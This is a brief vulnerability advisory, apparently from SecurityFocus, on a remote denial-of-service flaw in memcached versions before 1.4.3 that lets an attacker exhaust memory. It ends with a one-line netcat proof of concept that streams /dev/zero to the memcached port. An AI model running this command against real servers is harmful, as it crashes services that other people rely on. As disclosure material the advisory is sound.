source: http://www.securityfocus.com/bid/39577/info

memcached is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the application to allocate large amount of memory, hanging or crashing the application.

memcached versions prior to 1.4.3 are affected. 

cat /dev/zero | nc -q1 127.0.0.1 11211